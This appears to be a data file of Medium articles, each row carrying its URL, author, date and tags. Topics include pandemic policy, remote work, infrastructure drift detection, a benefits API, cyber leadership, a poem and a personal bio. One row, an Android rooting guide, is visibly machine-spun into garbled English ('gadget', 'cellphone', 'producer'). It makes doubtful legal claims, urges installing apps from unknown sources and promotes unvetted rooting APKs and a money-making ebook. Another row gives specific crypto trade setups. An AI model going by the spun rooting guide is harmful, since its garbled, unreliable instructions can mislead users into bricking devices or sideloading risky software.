To fix it, we need investments in manufacturing and supply chain. We need investments in data architecture and equitable distribution. We need clear public health messaging, stat. Magical thinking doesn’t work to stop pandemics. | https://coronavirus.medium.com/a-vaccine-has-arrived-and-the-u-s-is-still-screwing-up-c8ecf530f9a1 | ['Megan Ranney'] | 2020-12-17 14:32:22.885000+00:00 | ['United States', 'Coronavirus', 'Covid 19', 'Health', 'Public Health'] |
New Year Intentions | As we approach a new year, I’ve started to reflect on the year 2020 (not an easy task), and also start to plan and prepare for 2021. I have never been a fan of new year resolutions. We tend to aim too high, and don’t have a clear plan or path to actually get to our goals. Then, we get disappointed in ourselves and all that negative self-talk comes in. I’ve been guilty of this too, I think everyone does it because we get really excited about a new beginning and a “fresh start” and we forget that we are only actually human, and nothing changes all that quickly (le sigh).
Anyway, I’d like to propose an easier way of living. Instead of setting resolutions, why not set several small intentions? Some examples that I have come up with for myself this year are: be open to making new friends and reach out to one or a few new people; when faced with a choice, pick the healthy option; when exhausted and worn out, take time for myself and ask for help when needed; give myself permission to stop being such a perfectionist/people pleaser. I am super excited for all of these intentions, and they aren’t big life changing goals. They are just small things that I can do for myself that will make me healthier and happier.
So what are your intentions for 2021? Let me know in the comments or email me:
[email protected]
I’d love to hear from you, and if you are interested in learning more about your MBTI type, I’m here for that as well! See my personality type consultation tab on my webpage.
Much love always,
Teal | https://medium.com/@infinitetealskies/new-year-intentions-f71064208ea0 | ['Teal Geiger'] | 2020-12-13 19:01:13.738000+00:00 | ['New Year', 'Health', 'New Year Resolution', 'Mental Health', 'Wellness'] |
Remote Collaboration for World Domination | Make great work with your team no matter where you are in the world.
If you’re part of a large team or global company then you’re likely collaborating across time and geography every day. Maybe the developers on your team are in a different country, your design lead travels frequently or your client is in another city. Regardless of your role or location you could be reviewing specs, testing prototypes, pitching ideas, coordinating meetings, or delivering a workshop at any point in your day. These collaborative efforts between colleagues, stakeholders, and customers are key to the success of any project. When it comes to delivering these tasks remotely, however, individuals can become separated or ‘siloed’ because of poor communication, cultural differences, and time constraints. I’ve been working with internationally dispersed teams for some years now and I wanted to reassure you that working remotely shouldn’t be a barrier for you and your team to co-create successfully. In fact, remote work offers up lots of unique opportunities for both the individuals and the organizations that embrace it!
Lots of companies advocate strongly for remote work. InVision and Automattic being two particularly good examples of this. And it makes perfect sense: allowing employees to work from anywhere in the world is not just good for recruitment but it’s a sure way to increase diversity in your organization. For startups or businesses that want to break into new markets, having a globally dispersed workforce is also a smart way to understand local trends and culture.
There are many benefits to remote collaboration but there are also challenges and considerations. If you’re new to this way of working, managing a global team, or if you’re considering a transition abroad and hoping to hold your current role, these tips (tried and tested) may prove useful to you and your team along the way.
1. Start by building relationships.
Good collaboration begins with trust. If you’re working alongside someone (even virtually) it’s important you get to know them. Make an effort to understand their strengths, weaknesses, personality, behaviours, and goals. Chatting about hobbies might sound unimportant in the context of business but when you’re not interacting with your teammates every other day over coffee or lunch, allowing time for this may be more beneficial than you think. People do their best work when they’re comfortable in their environment and trust their co-workers. So, get to know each other!
Pro-tip: Carve out an afternoon for your team to share something that is interesting or personal to them. Maybe it’s a hobby or side hustle that reflects what they like to do outside of work. This will help you gain a deeper level of empathy and understanding for your team. Lightning talks or lunch n’ learns are fun platforms for these types of activities. (Although traditionally held in-person, you can simply use video conferencing software if your team is remote).
2. Have an agenda and set some goals.
Time is precious. To get the best out of your remote session — whether it’s a call, a workshop, a review etc. — always have an agenda set in advance. Even a loose list of objectives will keep you on track and focused on what needs to get done. Above all, end your session with next steps or a to-do list to help clarify everyone’s responsibilities moving forward. I can’t stress how important this is when it comes to remote working. If you’re in a different time zone you may not have the opportunity to check in for another day or two (maybe longer), depending on schedules. Be sure that everyone is aligned and clear on their tasks and goals before the working day ends.
3. Tool up.
There are so many great digital tools available — lots for free — that enable teams to brainstorm, plan, or workshop in real-time. It might take a little extra time to learn these tools but that investment up front will increase productivity, communication, and transparency in the long run.
Some of my favourites:
Slack
Messaging platform for the workplace.
Mural
Virtual whiteboard. Perfect for design thinking activities and research synthesis.
Trello
Easy to use project management tool.
Google Docs and Box
File sharing in the cloud.
InVision
Digital product design platform with prototyping tools and helpful resources.
Flow
For tracking your tasks and projects.
GitHub
A dev platform that works for anyone. Track tasks, review code or manage projects.
Prototypr
A one-stop shop for discovering thousands of design resources and tools.
4. Put the phone down.
Too often remote collaboration takes the form of a conference call. Unless the situation warrants an over-the-phone conversation then you should avoid dialling in blindly. Body language is a huge part of how we communicate and is far more effective and meaningful than the words we use alone. Using real-time video services like Zoom, WebEx or Skype will help break down some of the linguistic or cultural barriers that might exist across your team.
Anyway, conference calls are notoriously unproductive…
5. Get off email.
I recently read that email occupies approx. 23% of the average employee’s workday, and that average employee checks his or her email 36 times an hour. Ugh! So while email may have been radically disruptive some decades ago, it can be more troublesome than useful today. Initially intended for long form written exchanges, we often choose (or misuse) email for instant messaging and collaboration. My advice when it comes to email is, when possible, reduce your inbox by using it to share sensitive or important information only. Instead, choose tools like Slack to stay connected with your colleagues. Messaging platforms like this allow you to have ongoing, short and informal conversations in real-time and on the go. | https://medium.com/design-ibm/remote-collaboration-for-world-domination-e94b2ca724ef | ['Lara Hanlon'] | 2018-07-11 14:38:50.523000+00:00 | ['Business', 'Collaboration', 'Remote Working', 'Productivity', 'Design'] |
It Was Not Your Fault | It Was Not Your Fault
A poem
Photo by Kinga Cichewicz on Unsplash
These words,
A necessary lullaby now.
The sleeping pill.
These words,
knock air back into your lungs.
A ventilator.
These words,
Direct you towards healing.
A compass.
These words,
A call to the pursuit of justice.
The verdict.
These words,
A permission to carry on.
Your lifeline.
These words,
It was not your fault.
The truth. | https://medium.com/the-pom/it-was-not-your-fault-f5de0b529aa9 | ['Onalenna Neo'] | 2020-06-24 21:44:53.911000+00:00 | ['Poetry On Medium', 'Healing', 'Justice', 'Recovery', 'Poetry'] |
Automated Drift Detection with env0 | Hello, env0 fans! It’s a huge day for Infrastructure as Code users all over the world. Today env0 is enabling the ability to automatically detect drift and make sure your real-world resources in the cloud provider are aligned with your Infrastructure as Code files. env0 will alert you once a drift has been detected and gives you the ability to view and fix the drift, which can help mitigate one of the main challenges when using Infrastructure as Code!
Why is this awesome?
To answer this question, we have to take a quick step back for anyone who isn’t up to speed. Drift is the name given to the situation where the resources that are actually deployed to the cloud, aren’t matching with what your infrastructure as code files in your repository says should be there. Your repository should be your “single source of truth” when it comes to your infrastructure. Usually, drift happens because someone circumvented the procedure and went into the cloud to manually make resource changes, instead of updating the Infrastructure as Code files and re-deploying properly. Now, we can set up an automated process that checks for these configuration drifts on your schedule and alerts you when it is detected.
In the past, 3rd party tools would have to be used, such as driftctl. For a while, you could set this kind of functionality up in env0, but you would end up with a queue of deployments unless you went in and hit cancel on the plan each time it ran that had 0 changes to the infrastructure. Now, we’re solving this issue simply by creating a Policy inside env0 to “Skip apply when plan has no changes.”
How do we do it?
This is the best part of the whole thing. It’s as easy as 2 checkboxes and copying and pasting a cron statement, pending your environment is configured to wait for approval, and you have notifications enabled on the project. If you haven’t done that yet, you can find the docs for notifications here. Approvals are set up at the project level, and when you deploy the environment.
Let’s start with the scheduling. This will be done for each of the individual environments you deploy. You will go into the Triggers tab on the environment and go to the Scheduling box. For my example, I set it to run every 5 minutes. If you need help generating your desired cron schedule, you can find a tool here. Once you do this, it will create a new deployment every X number of minutes, hours, days that will run up through the Plan phase. | https://medium.com/env0/automated-drift-detection-with-env0-2217fdb07ec5 | ['Tim Davis'] | 2021-06-08 18:01:29.509000+00:00 | ['Automation', 'Infrastructure As Code', 'DevOps', 'Terraform'] |
From this Year’s Annual Report: Making Benefits Eligibility Information More Accessible | Katie Zeng — NYC Opportunity
Many New Yorkers are not aware of government benefits for which they are eligible. To make benefits information more widely available, NYC Opportunity released the first-ever NYC Benefits Screening Application Programming Interface (API). It makes eligibility criteria for 30+ social service benefits easily available to anyone using or creating other technology-based tools. This expands the network and accuracy of tools New Yorkers and social service professionals can use to find benefits.
New Yorkers can go to ACCESS NYC, the City’s award-winning online benefits screening platform, and answer a set of questions to find out what benefits they may be eligible for and how to apply.
The API extends the reach of ACCESS NYC by making the programming rules that produce ACCESS NYC’s screening results available for use in other technology applications. Community-based and civic technology organizations and other groups can use the API to make benefits screening part of their existing technology tools, making it easier to advise their clients on which benefits to apply for and how to do so.
The API is an innovation in the benefits landscape, demonstrating how technology can make crucial poverty-fighting tools more widely available and empowering more organizations to support their clients in new ways.
You can read the full annual report here. | https://medium.com/nyc-opportunity/from-this-years-annual-report-making-benefits-eligibility-information-more-accessible-eb0735efe971 | ['Nyc Opportunity'] | 2020-02-07 16:16:01.366000+00:00 | ['API', 'NYC', 'Technology', 'Government', 'Innovation'] |
Are We Starting to Abdicate Cyber Leadership To Consultants? | The internet makes finding examples of sound leadership principles easy. Finding examples of great leadership and world class program development within the cyber security community is a bit harder to find. This blog post explores if this is the case because so much thinking and movement within the cyber security industry is generated by vendors and consultants.
If we assume that a sound cyber leadership principle is that cyber leaders must own, define, and communicate the goals, resourcing, gaps, and roadmap for their cyber security program, then the counter example to doing these things would be the complete abdication of at least the ownership, definition, and communication to some other party.
Is the cyber industry seeing an increase in delegation to vendors? I obviously can’t look inside or otherwise know every program but I can look at several data points:
The exceptionally low percentage of program level consultants that I’ve met that have actually filled a formal role of an internal CISO or similar role in which they built, led, and represented all aspects of their organization’s cyber program for a sustained period at all levels including the Board.
The equally low percentage of cyber program level content is generated by cyber practitioners on a given topic versus vendors or academics.
The high frequency of anecdotes that I hear other senior cyber leaders tell about their own programs during various professional interactions like conferences, meetups, or other events.
I’ll agree in advance that these are each a small data sample and aren’t the most scientific methods for drawing broad conclusions. That said, most survey based industry studies also aren’t asking the question of the percentage of security programs or a program’s decision making have been outsourced to vendors so we have to start somewhere.
The first and second points above likely have some relationship. A question that I have whenever approached by consultants offering program level cyber services is, “how long were you a CISO and where?” From the vendor perspective, they usually do not consider their personal experience leading a actual cyber team as an important qualification. After all, they regularly talk to Boards and often propose impactful changes. I get that. But, senior cyber practitioners can’t forget that most vendors don’t have to live with the consequences of their decisions; by the time any fallout starts, they’ve likely moved on to the next customer. Or, if they do have some longer term relationship and make a poor decision, the cleanup of that poor decision can be viewed as just another business opportunity.
I’ve had a number of vendors and consultants make recommendations that, had I followed their advice, would have caused major issues at best and perhaps even security incidents or worse. I’ve also had vendors try to steer the cyber program towards goals and objectives that were better suited to the vendor themselves or the preservation of future business than to the cyber that they served.
I’m not anti-vendor. Vendors provide key capabilities and services upon which cyber programs depend. Senior cyber leaders simply need to keep their own goals and objectives for their program in mind as they process any external advice that is given.
Because there doesn’t seem to be a deep bench of former CISOs turned consultants, I’d venture to guess that over 95% of free online content about how to deal with the program level challenges of a cyber program (program description, risk, etc.) has been generated by outside “experts” in the vendor and academic communities that have never formally led a cyber program previously.
That isn’t to say that field practitioners within cyber orgs don’t produce online content. They do….and in droves. Compare the percentage of online content generated by actual field practitioners doing the same work as highlighted in the content for various tactical disciplines within cyber and information security programs to vendor content on the same topics. By tactical, I mean specific disciplines such as incident response, digital forensics, cloud security, etc. The numbers are much more balanced.
Application security seems to be one of the lone glaring exceptions to my rule about a balance in tactical online content. Almost all online content about app sec is highly tactical in nature and almost all app sec online content seems to be generated by vendors.
I’ve previously said in blog posts and videos that I was a bit shocked to find almost no content about the development or challenges of cyber risk programs being generated outside of the vendor or academic communities. This disconnect continues to surprise me as most of the vendor related content seems to be mostly focused on the success of identification and classification of cyber risks. There is still little (if any) content, vendor or otherwise, on how to measure the success of one’s investment in cyber risk which I believe is a key task of senior cyber leaders after any major investment in the cyber program.
The gravity of what is at stake for cyber programs as their CISOs and other senior cyber practitioners consume the free online information is enormous. This information is often presented as “best practice” when, in reality, it’s really just “compelling marketing copy”. Given the amount of breaches that we read about each week, clearly there have been painful lessons for cyber leaders to learn as a result.
As for the third point above, again anecdotally, I’ve seen an increase in cyber leaders proudly pointing to bringing in outside consultants to convince executives to approve or take action on some critical risk or work items that has lingered longer than is reasonable, in some cases, for years. On social media, I see posts from consultants telling the same story.
When I’ve asked as to why the consultants are needed to sell some key aspect of the cyber program, the answer has always been the same. Leadership trusts outsiders more.
Wait. What?!?
Critical items have lingered for years. The cyber leadership has been unable to resolve the issue or gain support even though the issue is critical. An outsider is able to articulate the issue and achieve action within short amount of time.
As, as cyber leaders, we find some sort of pride in a scenario of outsiders making a compelling than us to enable forward movement on some sort of critical project?
There are only a few scenarios that could lead to executives having more confidence in an outsider than an organization’s own cyber leadership. I’ve outlined those scenarios as follows:
Conversations between the cyber leaders, stakeholders, and executives on this key topic never took place
Conversations between cyber leaders, stakeholders, and executives did happen but the critical nature of the issue was not understandable or otherwise made clear
Conversations happened, were understandable, and the issue was shown to be compelling but the rationale or prioritization was not compelling
Conversations were compelling but there wasn’t an associated achievable plan and so the project was greenlighted.
The executives have lost confidence in the cyber leadership and didn’t move forward with a risk treatment plan or remediation
All of the above are potential indictors of cyber leadership problems.
Vendors are, at best, only a short term fix for cyber leadership problems. In my view, bringing in a vendor should be a possible outcome of these discussions, not the catalyst for a successful conversation.
I’d imagine that in addition to coming in and providing a winning narrative to win over executives, the vendors might also serve poor leaders as a way to deflect execution issues or failures.
Cyber team members, the organization’s executives, and the Board all deserve better.
You can successfully outsource work but you can’t outsource accountability the program leadership, program direction, execution, or liability after a breach.
As cyber leaders, these are ours to own.
For more insights into how cyber leaders can best enable the business and build rock solid cyber programs, please follow me on Twitter at @opinionatedsec1
You can also find more of my previous content at the “CISO & Cyber Leaders” publication on Medium: https://medium.com/ciso-cyber-leaders | https://medium.com/ciso-cyber-leaders/are-we-starting-to-abdicate-cyber-leadership-to-consultants-cb544275f6d3 | ['Opinionated Security'] | 2021-02-25 19:27:59.684000+00:00 | ['Information Technology', 'Ciso', 'Cybersecurity', 'Information Security', 'Leadership'] |
Aug. 22th Bybit Analysis：Prepare for Both Sides | ETH and BTC recovered part of their losses in last two days. The peaks of ETH, however, are still getting lower and lower on 4H chart, this may indicate it is still in a downtrend. While BTC made a series of higher highs, given it is still in a long term downtrend, I would consider it a warning signal.
ETHUSD
I gave a short setup in last analysis which is still with a little bit of profit now. Given the fact that BTC is leading ETH in most time, I’m tend to close my short position here.
If the price move up above 321,the Aug. 18th high, the It may be a chance to long it with a ST at 300 and TP 400. Alternatively, if it drops below 270, then short it, with a ST at 280 and TP 250.
BTCUSD
I gave a setup of short BTC at 6500 and SL at 6700.Now, it has stopped out with approximately 3% loss. Given the fact that it break above the resistance of 6800, there is likely some bounce incoming.
Specifically, if it retrace back to 6600, it is a good place to buy it low, ST at 6400 and TP 7200.
Where to Find Us:
Website: www.bybit.com
Facebook: www.facebook.com/Bybitofficial
Twitter: www.twitter.com/Bybit_Official
Reddit: www.reddit.com/r/Bybit/
Medium: www.medium.com/bybit | https://medium.com/bybit/aug-22th-bybit-analysis-prepare-for-both-sides-5540dece2a66 | [] | 2018-08-31 09:46:32.413000+00:00 | ['Bitcoin', 'Eth', 'Bybit', 'Market Analysis'] |
7 Best Android Root Software (With and Without Computer) | When Smartphones grew to become obtainable in the marketplace, there have been a few issues. One of them was the extent of limitations on the gadget. Many folks wished whole management over their units. Thus, Android root software program was created.
I examined numerous rooting software program and came upon that not all of them are dependable. After my exams, I listed 7 that did a fantastic job at rooting my gadget. Without additional ado, listed below are 7 of the very best Android Root software program you should utilize in your cellphone or pill. This contains rooting utilizing an app and/or by laptop
Android smartphone rooting preparations:
If that is your first time rooting an Android cellphone, be sure you do the next:
In your Smartphone’s gadget settings, activate “ USB debugging mode ” and “ Install Apps from Unknown Sources .”
” and “ .” Don’t overlook to make a full backup of your gadget.
Research and perceive the method of Android rooting. It’s all the time greatest if what you’re about to do.
Things to recollect:
Rooting isn’t a risk-free process. You can probably harm or completely brick your gadget rendering it ineffective.
You can probably harm or completely brick your gadget rendering it ineffective. Rooting will void your guarantee.
In some nations, Android rooting is prohibited.
In the United States, below the DCMA, it’s authorized to root your smartphone. However, it’s unlawful to root a pill.
In European nations, rooting a tool doesn’t void the guarantee.
Android Root Software for PC
1. iRoot
One of the very best and easiest root strategies that I can advocate for rooting your Android smartphone is by utilizing the “ iRoot PC client. “ iRoot is likely one of the hottest root software program obtainable.
The iRoot software program has a PC model and an Android app model. I’ll focus on the app model beneath.
How to root utilizing iRoot PC shopper:
Download and set up the iRoot PC Client. Connect your Smartphone to your laptop through USB cable. On your laptop’s display screen, click on “Connect device.” Install the driver of your Smartphone. (Check for manufacturer website) Once your device is detected, click “Root” to start rooting. Your gadget will restart after getting rooted.
2. KingoRoot
KingoRoot is one other in style free rooting software program for Android. Like our first rooting software program, KingoRoot has a “ one-click root. “ This software program has a excessive success price for Android 2.3 as much as 7.0. However, I discovered that rooting a tool begins to change into troublesome for KingoRoot for Android model 8 and up.
If the primary Android Root Software can’t provide the success you want, then I like to recommend making an attempt KingoRoot for PC as your second methodology.
How to root utilizing the KingoRoot PC shopper:
Download and set up the KingoRoot for PC. Connect your Smartphone to your laptop through USB cable. On your laptop’s display screen, click on “Connect device.” Once your device is detected, KingoRoot will then ask if you want to start rooting. Click “Root” to start rooting. Your gadget will restart after getting rooted.
If you want to know extra about KingoRoot, click on right here.
3. dr.fone — Root
dr. fone is taken into account the very best and friendliest option to root your Android gadget by most. What makes this software program nice is that it options 1-click rooting and it helps rooting for the newest Android variations. Regardless of whether or not it’s a cell or a pill, dr. fone can root Android units simply.
How to root utilizing dr.fone for PC:
To root your Android smartphone utilizing dr.fone software program for PC, comply with these steps:
Download and set up dr. fone for PC. Connect your Smartphone to your laptop through USB cable. After your cellphone is related, click on “Start”; the program will then find your phone and prepare a way to root your phone. Click on “Root Now” to start rooting your cellphone. Before the rooting course of, the cellphone will ask if you want to root your gadget. Tap on “Confirm” to proceed the rooting.
4. SuperSU App
When speaking about an app that’s able to rooting an Android gadget with out a pc, one app that comes proper to thoughts is SuperSU. However, the method of rooting with the SuperSU app would require the use of a pc. That’s why I nonetheless listed the SuperSU as a root methodology with a pc.
The SuperSU app fairly simple. However, you’ll have to take sure steps earlier than you may truly begin rooting utilizing this app.
How to root Using SUPERSU:
Install the Android SDK and your respective cellphone’s driver. Enable USB Debugging. Head to your producer’s bootloader unlocking web page and acquire the unlock key in your cellphone. Download TWRP for Your Phone. Flash TWRP by rebooting into your cellphone’s bootloader. Install SuperSU APK.
Android Root Software for Mobile Phones
1. KingRoot App
One of the most well-liked 1-click Android root software purposes is KingRoot. Don’t get confused, “KingRoot” is completely different from “KingoRoot.”
With over one million downloads, the “KingRoot” is likely one of the greatest and quickest methods to root an Android gadget. Simply obtain the APK, set up it, then launch the app to start out rooting. Easy, isn’t it?
KingRoot is taken into account as a root software for “lazy people.” People who simply need to root their units with out the effort of flashing third-party restoration. This app can work on most units. (particularly units with Android 2.x — 5.0.)
How to root Android gadget utilizing KingRoot app:
On your most well-liked browser, go right here and obtain the KingRoot APK. Install the KingRoot app. Tap “Try it” then faucet “Get now.” The app will begin rooting your gadget.
2. One Click Root App
The second rooting software program app that I like to recommend is the One Click Root app. As the identify suggests, all you must do is set up the app and click on the foundation button to start out rooting.
The One Click Root app helps Androids 2.2.X to 4.0.X. For units working Android newest variations, you should utilize the “ Remote root service “ of this app. Your gadget might be rooted by one among their consultants through Team Viewer.
One Click Root is a free app you could obtain from their official web site right here.
How to Root utilizing One Click Root App:
On your browser, go to https://www.oneclickroot.com/download-apk/ and obtain the One Click Root APK. Install the app and launch it. On the house web page UI, faucet “Root Now.” The app will with “Scan device compatibility.” Tap “Scan now.” If your device is supported, it will let you proceed to the rooting process.
3. Root Master App
If you’re new to Android rooting, one app that I can highly recommend for beginners is the Root Master app.
Also Read : 8 BEST DIRECTV APP FOR ANDROID
Similar to other root apps, the Root Master app also offers a 1-click root feature. Simply, download the APK then install it. Once done, all you have to do is launch the app then tap “ Root now. “
How to root utilizing root grasp:
Download the Root Master APK. Install it and launch it. Tap “Start” to start rooting. If your gadget is appropriate, you’ll be prompted to rooting the UI.
How to unroot Android smartphones or tablets
If you need it to revert again to the way it was earlier than, right here’s a simple methodology on methods to unroot your rooted Android cellphone or pill:
Launch the SuperSU app and search for “Full Unroot.”
Tap it and await a few minutes. Once completed, your Android cellphone will now be in its unique unrooted state.
FAQs
Magisk is a characteristic and root methodology that leaves the system partition untouched whereas modifying the boot partition. More generally often known as the “ systemless” methodology to root your gadget. It principally leaves Google’s SafetyNet untouched, so customers can entry Android Pay and even Netflix on rooted units.
Earning cash from rooting Android units
You can earn cash from mastering the humanities of Android rooting! Here’s how one can begin incomes $30 per gadget.
Making cash with Android and rooting instruments CD
This 15 web page Ebook that comes with numerous rooting instruments and directions is the one information e-book that you simply’ll ever have to jump-start your profession into the rooting business.
Root Your Android: Summary
Also, should you gained’t profit that a lot from utilizing your gadget, and if probably bricking your gadget isn’t value all the additional effort, then I like to recommend refraining from rooting your gadget.
Did the listing above allow you to in rooting your Android gadget? Let me know within the feedback part beneath! | https://medium.com/@jkukreja924/7-best-android-root-software-with-and-without-computer-c72f8bccc199 | ['Gyan Hi Gyann'] | 2021-03-30 07:59:21.605000+00:00 | ['Tech', 'Tips And Tricks', 'Technology'] |
How Washington, D.C., brings science into local government | Jenny Reed, D.C.’s Budget and Performance Management Director (left); Sam Quinney, The Lab @ DC’s Director (middle); and Chrysanthi Hatzimasoura, Senior Social Scientist with The Lab.
How, in a nutshell, do you describe The Lab @ DC?
Sam Quinney: We’re a team that allows us to do more of what works for Washington, and we use insights and methods from science to do that.
How does The Lab choose its work?
Quinney: Some of our projects come directly from Mayor Muriel Bowser and City Administrator Rashad Young. They set the priorities and set the environment. They know through the democratic process what the priorities are for District residents, and they create the climate for agencies to really care about evidence and care about using data to make good decisions and hopefully improve outcomes for residents.
The work usually comes from the people leading city agencies, who say: “I’m doing this new thing” or “I’m addressing this new challenge.” We then engage in an exploratory conversation to see if we, as The Lab @ DC, can add value — if our skillsets can lead to a better outcome for residents.
Jenny Reed: From a budget perspective, we’re encouraging our agencies to use data and evidence more when they’re making decisions about resources. Not that they weren’t doing that before, but it wasn’t as intentional. So we created a process where, if agencies want to start or expand a program, they have to provide us with a variety of information, including data or evidence that shows how it will meet a particular objective.
At ‘Form-a-Palooza, members of The Lab and D.C. government staffers asked residents to help them redesign government forms to be more user-friendly.
Then, based on what agencies submit, The Lab looks at the academic research out there and validates it. We use that to have a conversation with the agencies. It doesn’t necessarily mean that if your program doesn’t have a huge number of randomized control trials to support it that we’ll say no, but it does mean we have an opportunity to say: “How will we collect data and evidence to measure performance of this program?” And, “Is this something where we should embed The Lab from the beginning to do an evaluation?”
Talk about the methods you use.
Quinney: The largest part of our portfolio is randomized control trials. That’s the best way to determine if something will work for D.C. residents. When we are administering a program — or even just sending an email or letter — we have one group that gets the program, service, or email and another that doesn’t. That way we can isolate the effect of the work.
Second is resident-centered design, where we’re thinking through residents’ interactions with government. It could be forms or websites or letters or applications for services, and asking: “What’s going to be the best experience for the user?” Our largest work has been on form redesign, through Form-a-Palooza. We’ve now taken more than 30 D.C. forms, which affect hundreds of thousands of residents, and made them cleaner and easier to understand.
[Read: How ‘Form-a-Palooza is helping Washington, D.C. simplify its forms]
It’s also a process of talking to the user. We redid the public schools enrollment packet this past year, and in order to test it, we had team members go out to schools at pickup and dropoff time to say to parents: “Let’s fill out this section together, what do you think of this part?” Or, “You paused here — does that mean the form confused you? Could we do something better?”
Next is administrative data analysis. If we can’t do a randomized control trial, we can still look at data to get our best understanding of whether a program works, or why a problem exists.
And finally, predictive modeling builds on that. We can connect data to predict, say, whether a block is likely to have a lot of rodents, or to target housing inspections to houses that are most likely to have a serious violation.
What’s the opportunity in this work for someone with an academic background?
Chrysanthi Hatzimasoura: It’s been a great challenge to be thoughtfully embedding the scientific method in day-to-day government operations. We’re not here to do a few studies and run away. It brings to the surface things you wouldn’t run into if you were an academic solely based at the university. You move from the armchair thinking world to a world where you’re engaging with the community itself.
What’s an example of that for you?
Hatzimasoura: We’re leading an evaluation of the 911 Nurse Triage program. [The program diverts people who call 911 with non-emergency medical issues to a nurse rather than immediately sending an ambulance.] We wanted to do a rigorous study of whether the program was having the effects that we hope for on ambulance use, on repeat use of 911, on actual health outcomes.
[Read: Behavioral science is quietly revolutionizing city governments]
In order to do that, we need a control group and a treatment group — but we’re also working in the 911 call center, where we have call operators who need to pick up the phone, be efficient, be on autopilot. We can’t have them pause and say: “Hang on a minute, let me check if you’re in the control or treatment group.” We had to work very closely with the staff to integrate the scientific method seamlessly into some very sensitive government operations. By doing that, we build trust with the agencies so they’ll want to continue to work with us and continue to concretely have the scientific method in their day-to-day operations.
How can local government recruit more scientists to do this kind of work?
Quinney: Those in government might assume that people based at academic institutions don’t care about getting into these details of how to make things work in the real world. In fact, we find there are so many people who want to come in and do public service — they just haven’t had the avenues to do it. Based on the number of people who want to come work with us at The Lab, I’m sure other cities have people in universities who have a similar public service motivation for their work.
The Lab breaks projects down into a six-part cycle: Listen, design, do something, test, decide, repeat. What happens at each of those, and why is this cycle important?
Quinney: To us, listen means that we’re working on priorities that matter to District residents.
Then when we design, we’re using the best available knowledge. So we’re learning from other jurisdictions, talking to the people who are affected by a program or administer a program, and designing based on rigorous evidence and data analysis.
As part of the “SpeakUP DC” initiative — Washington, D.C.’s entry in the 2018 Bloomberg Philanthropies Mayors Challenge — Lab members asked residents to vote on a name for a new community engagement platform.
Do something means that, rather than being evaluators off to the side, we want to be hand-in-hand with the implementation as it gets done. So that might mean assisting agencies with things as rudimentary as sealing envelopes or doing intake for a program that’s just getting started up.
Test gets at the methods we talked about earlier — once we’ve designed something as best as we can, it’s finding out: Did it have the effect we wanted?
Based on that, we decide — or, often, we’re informing a decision for different policy makers throughout the government.
And repeat means we keep doing it. No one project is going to solve, say, homelessness or economic instability. The way that science and evidence will move the needle is if we’re continuously going through cycles of this work. So when we find something that works, we need to be there to help implement it, and keep repeating what we’re doing over and over again.
How is this work influencing how the District budgets and spends money?
Reed: A good example is when the D.C. Public Schools came to us last year with data showing that an existing program — to add more days to the school year — wasn’t showing the results they’d hoped for. They wanted to shift their investment to another program — one that gave laptops or tablets to students — that had showed promise in the research and academic literature in improving student achievement.
The Lab looked at both evidence bases, and helped confirm two things: First, the research around extending the school year is mixed and, second, that the technology option has been shown to improve academic performance, provided the devices come with rigorous training and support for teachers and students.
It was a big programmatic shift, and we were able to have a conversation with them, supported by data and evidence, that this seemed like the best approach. So we proposed that, and council approved it.
How do you make sure The Lab’s work isn’t just some cool stuff happening on the side, but actually creating culture change more broadly?
Quinney: When we started designing The Lab, we were very conscious of not making it seem like this shiny thing or a flash in the pan. The goal from the beginning was to make this a part of government because we think it’s a core government function to do what we do, not something that’s a nice-to-have.
[Read: How to make innovation capacity stick for the long haul]
At least in D.C., we’ve found there’s a ton of appetite for this work, and it’s growing. The majority of our projects now are coming from people that we’ve either worked with in the past or they’ve heard about us from other people in their agency. They’re saying: “I have something I think The Lab can help with,” which is a really great signal of building this culture.
And how is it permeating into agencies?
Quinney: The Metropolitan Police Department now has a team that very closely mirrors The Lab within the chief’s office. They have two data scientists, someone who does process management and change management, and a social scientist coordinating the efforts. We’re seeing similar things at the Child and Family Services Agency and the Department of Human Services. Positions are precious things in government, so we think that’s a good indicator of the spread of the culture. And we’ve been kind of like a talent recruitment agency for departments. We’ve had to develop new position descriptions for government, like social scientist, data scientist, and operations analyst, and we’ve shared those with agencies along with our tools for assessing talent.
We think the long-term growth will be in these slightly smaller laboratories at agencies. There are so many decisions that need to be made across local government — we could never do anything close to all of it with a central team. So that’s the real growth strategy of The Lab — to see more people in agencies doing this work and having the central team here to coordinate those activities, provide resources, and a general framework for how we approach things with the highest level of scientific rigor, transparency, and good governance. But a lot of the project work for an agency will happen with agency employees.
What’s the biggest lesson other cities could learn from the work you’re doing here?
Reed: Having the buy-in and support from leadership is critical. Mayor Bowser and City Administrator Young have been champions. They ask agencies about data and evidence: “How do you know program x, y, or z will work?” That matters, because the message moves throughout the organization and builds support when we ask agencies for this information. If we were the only ones asking, it wouldn’t be as effective.
Hatzimasoura: Just the collegial culture we have within The Lab. This team is managed in a way where we all know what’s going on, what everyone is up to on a daily basis. We don’t use email internally at The Lab — we use a project management platform that’s very interactive and we’re all very active on it. We are managed very efficiently at the micro level without being micromanaged.
Quinney: You have to make this someone in government’s job, and it needs to be their only job. Because it’s hard work, and it builds on itself exponentially. So if you care about this, spend a few full-time employees on it. We have seven staff members, but that’s allowed us to create a team of close to 30 with different efforts with universities and agency fellowships. I don’t think we could do that if we didn’t have a few people for whom this is their job. Relative to what we’re doing, we have a small budget. It’s a little over a $1 million to inform how we’re spending $15 billion. We think that’s a good investment. | https://medium.com/@bloombergcities/how-washington-d-c-brings-science-into-local-government-a37a8137c136 | ['Bloomberg Cities'] | 2019-10-23 13:08:48.911000+00:00 | ['Data Science', 'Predictive Analytics', 'Human Centered Design', 'Cities', 'Innovation'] |
My adventures in Computer Science | A little bit about me and my unexpected dive as a software engineer
Hello! my name is Alexander Ocsa and having come from Arequipa-Peru, I have an immense affection for my roots. I was born in a small town in the Colca tourist region in Arequipa, where I grew up in a well-formed family with good values. I have incredibly good memories of my childhood and my first education in the Colca Valley, which I must say is an experience that I would not change for anything.
Colca Valley
My love for mathematics, science and computing made me want to be a computer scientist. At first programming was the skill I had problems with, because I was not patient, but over-time I learnt that this and perseverance are two of the things you need most in that career.
After successfully finishing college at UNSA university in Arequipa City, I was drawn to studying abroad. There were many myths about that, firstly that it was difficult and also that there was intense competitiveness. Later I discovered that it was not so much like this, you just have to be more persistent and you must really like what you do. Thankfully, I successfully completed my master’s degree at ICMC-USP in Brazil and specialized in Database and High-Performance Computing using GPUs.
